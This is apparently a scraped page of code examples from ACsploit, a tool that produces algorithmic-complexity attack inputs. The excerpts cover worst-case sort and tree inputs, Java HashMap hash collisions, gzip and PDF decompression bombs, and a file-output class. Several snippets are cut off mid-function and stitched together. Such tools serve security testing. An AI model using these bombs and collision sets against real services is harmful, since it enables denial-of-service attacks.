              'possible is the fact that 0x33 -> "3" in ASCII, which allows any number of ASCIIHexDecode filters to be ' \
              'run in sequence against a sufficiently long sequence of all "3"s.'

NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {'final_newline': False, 'format': 'binary'}

CANNED_BOMBS = [
Exemple #25
0
from acsploit.options import Options

options = Options()
options.add_option('n_inputs', 10, 'Number of elements to sort')

DESCRIPTION = (
    'Produces a worst-case input set for bubblesort'
    '\n\n  Generates a reverse sorted list, which will cause bubblesort to run in O(n^2) time.'
)


def run(generator, output):
    # Bubblesort worst case is reverse ordered
    output.output(descending_list(generator, options['n_inputs']))


def descending_list(generator, n_inputs):
    output = [generator.get_max_value()]

    for i in range(1, n_inputs):
        output.append(generator.get_less_than(output[i - 1]))
    return output
Exemple #26
0
from acsploit.options import Options

options = Options()
options.add_option('n_collisions', 10, 'Number of colliding hashes to create')
options.add_option('hash_table_size', 1024, 'Size of target hash table')
options.add_option('target_hash', 12345,
                   'Hash value to find collisions against')

DESCRIPTION = 'Produces collisions for the Java 8 and above HashMap class.' \
              '\n\n  ' \
              'The reverse hash function for the HashMap from Java 8 and above is implemented, and so ' \
              'the provided target value will be reversed n_collisions times. To generate multiple ' \
              'hash preimages that create collisions, other targets that are in the same "bin" are also reversed.'

NO_INPUT = True


def run(output):
    if options['target_hash'] > 0xFFFFFFFF:
        raise ValueError("target_hash must be less than 0xFFFFFFFF")

    ret = generate_collisions(options['target_hash'], options['n_collisions'],
                              options['hash_table_size'])
    output.output(ret)


def hash(value):
    return value ^ (value >> 16)


def reverse_hash(hash):
Exemple #27
0
from acsploit.options import Options


options = Options()
options.add_option('n_inputs', 10, 'Number of nodes in tree (to insert)')
# Worst case for node insertion in a R-B tree.

DESCRIPTION = 'Produces a worst-case set of inputs for insertion in a Red-Black Tree' \
              '\n\n  ' \
              'Sorted insertions maximizes balancing operations in a Red-Black tree.'


def run(generator, output):
    ret = sorted_list(generator, options['n_inputs'])
    output.output(ret)


def sorted_list(generator, n_inputs):
    output = [generator.get_max_value()]
    for i in range(1, n_inputs):
        output.append(generator.get_less_than(output[i - 1]))
    return output
Exemple #28
0
import gzip
import os
import io
from acsploit.options import Options

options = Options()
options.add_option('type', 'recursive', 'Type of bomb', ['single_file', 'recursive'])
options.add_option('target_size', 100000,
                   'Desired size of decompressed file in bytes (not applicable to recursive bombs)')

DESCRIPTION = 'Produces a gzip archive that expands into a very large file or set of files.\n\n\tThe "recursive" bomb ' \
              'produces a self-reproducing bomb that will continue to decompress unless a ' \
              'limit is set in the parser (see https://research.swtch.com/zip for a full description.) The "single_file" ' \
              'bomb creates a single file which decompresses to the target size in bytes. The single_file bomb may use ' \
              'significant resources when built for large target_size, as ACsploit compresses the payload itself. Use caution' \
              'when executing with this option.'
NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {
    'final_newline': False,
    'format': 'binary'
}


def run(output):
    if options['type'] == 'recursive':
        with open(os.path.dirname(os.path.realpath(__file__)) + '/bombs-DONOTOPEN/gz_recursive.gz', 'rb') as f:
            gzip_contents = f.read()
        output.output([gzip_contents])

    elif options['type'] == 'single_file':
Exemple #29
0
class File:
    """File class."""

    OUTPUT_NAME = 'file'

    _SEPARATORS = {
        'newline': '\n',
        'comma': ',',
        'space': ' ',
        'tab': '\t',
        'os_newline': os.linesep
    }

    def __init__(self):
        """Initialize the File class."""
        self.options = Options()
        self.options.add_option('filename', 'acsploit_output.dat', 'The name of the file to write to')
        # TODO: add more formats
        self.options.add_option('separator', 'newline', 'Separator between elements',
                                list(self._SEPARATORS.keys()), True)
        self.options.add_option('format', 'plaintext', 'The format to write output in', ['plaintext', 'binary', 'sv', 'template'])
        self.options.add_option('final_newline', True, 'Whether to end the file with a newline')
        self.options.add_option('number_format', 'decimal', 'Format for numbers', ['decimal', 'hexadecimal', 'octal'])
        self.options.add_option('template_file', None, 'Template file to use when "format" is "template"')
        self.options.add_option('template_pattern', '<ACSPLOIT>',
                                'Replacement pattern in template file, marks where the payload will be copied')
        self.options.add_option('replace_first_only', False,
                                'Whether to replace only the first occurrence of template_pattern or all occurrences')

    def output(self, output_list):
        """Create file output."""
        output_path = os.path.expanduser(self.options['filename'])
        separator = output_common.get_separator(self.options['separator'], self._SEPARATORS)
        if self.options['format'] == 'binary':
            with open(output_path, 'wb') as output_file:
                self.write_binary_file(output_list, output_file)
        else:
            with open(output_path, 'w') as output_file:
                if self.options['format'] == 'plaintext':
                    self.write_plaintext_file(output_list, output_file, separator)
                elif self.options['format'] == 'sv':
                    self.write_sv_file(output_list, output_file, separator)
                elif self.options['format'] == 'template':
                    if self.options['template_file'] is None:
                        raise ValueError('Must set "template_file" to use "template" format')
                    self.write_template_file(output_list, output_file, separator, self.options['template_file'],
                                             self.options['template_pattern'])

                if self.options['final_newline'] and self.options['format'] != 'template':
                    output_file.write(os.linesep)

    def write_plaintext_file(self, output_list, output_file, separator):
        """Write plaintext payload data to output file."""
        output_file.write(separator.join([self.convert_item(item) for item in output_list]))

    def write_template_file(self, output_list, output_file, separator, template, pattern):
        output = separator.join([self.convert_item(item) for item in output_list])
        final_output = output_common.process_template(template, output, pattern, self.options['replace_first_only'])
        output_file.write(final_output)

    def write_binary_file(self, output_list, output_file):
        """Write binary payload data to output file."""
        # for a binary file, we don't want to be adding in our own lineseps
        for item in output_list:
            output_file.write(item)

    def write_sv_file(self, output_list, output_file, separator):
        """Write sv file."""
        # treat lists of lists as rows x cols
        if all(type(item) is list for item in output_list):
            # take each inner list, glue it together with the separator, then glue these together with os.linesep
            lines = [separator.join(self.convert_item(subitem) for subitem in item) for item in output_list]
            output_file.write(os.linesep.join(lines))

        else:
            output_file.write(separator.join([self.convert_item(item) for item in output_list]))

    def convert_item(self, item):
        """Convert output to hexadecimal or octal."""
        # NB: this doesn't recurse onto lists
        if type(item) is int:
            if self.options['number_format'] == 'hexadecimal':
                item = hex(item)
            elif self.options['number_format'] == 'octal':
                item = oct(item)
        return str(item)
from acsploit.options import Options

options = Options()
options.add_option('function', 'search', 'The tree function',
                   ['search', 'min', 'max', 'insert', 'delete'])
options.add_option('n_inputs', 10, 'Number of nodes in tree')

DESCRIPTION = 'Produces a worst-case set of inputs for various operations on a Binary Search Tree.' \
              '\n\n  ' \
              'Worst cases for the various operations of a Binary Search Tree all involve ' \
              'sorted lists, which maximize the depth of the tree.'


def run(generator, output):
    f = options['function']
    ret = []
    if f == 'search' or f == 'min' or f == 'delete':
        ret.append('Tree insertion order:')
        sorted = sorted_list(generator, options['n_inputs'])
        for s in sorted:
            ret.append(s)
        if f == 'search':
            ret.append('Search for : %s' % sorted[options['n_inputs'] - 1])
        elif f == 'delete':
            ret.append('Delete : %s' % sorted[options['n_inputs'] - 1])
    elif f == 'insert':
        ret.append('Tree insertion order:')
        sorted = sorted_list(generator, options['n_inputs'] + 1)
        for i in sorted[:-1]:
            ret.append(i)
        ret.append('Insert : %s' % sorted[-1])